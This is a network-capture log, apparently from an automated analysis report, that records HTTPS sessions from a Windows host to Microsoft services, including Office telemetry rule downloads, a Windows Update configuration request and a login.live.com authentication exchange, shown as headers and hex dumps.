2024-11-25 23:08:04 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:03 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: c3062018-b01e-003e-79df-3d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230803Z-178bfbc474bvjk8shC1NYC83ns00000007z000000000c9y1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:04 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-25 23:08:04 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-25 23:08:04 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-25 23:08:04 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-25 23:08:04 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-25 23:08:04 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-25 23:08:04 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-25 23:08:04 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-25 23:08:04 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-25 23:08:04 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49762	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:04 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5AVXMrbghZ2Uex9&MD=N26PxHme HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 23:08:05 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: b0ffedc1-6e01-4c52-9ff0-0fced82eafe8 MS-RequestId: ca3f5b93-e245-4254-8abf-7d88ce755653 MS-CV: 5efNC65pvEOzSsAE.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 23:08:05 GMT Connection: close Content-Length: 30005
2024-11-25 23:08:05 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-25 23:08:05 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49763	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:06 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 23:08:06 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 23:08:06 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 23:07:06 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_BAY x-ms-request-id: 3c7ff897-0577-418e-a241-c1fa38f82a37 PPServer: PPV: 30 H: PH1PEPF0001B7AB V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 23:08:05 GMT Connection: close Content-Length: 1918
2024-11-25 23:08:06 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:06 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:06 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 4a9b7938-301e-000c-7880-3d323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230806Z-174c587ffdf9xbcchC1TEBxkz400000006bg00000000s73y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:06 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:06 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:06 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6b6b0dda-801e-0083-096a-3cf0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230806Z-174c587ffdfmlsmvhC1TEBvyks00000006ug000000003sqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:06 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:06 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:07 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:07 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c9502ca5-e01e-0033-0fb4-3e4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230807Z-178bfbc474b7cbwqhC1NYC8z4n000000081g00000000ap8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
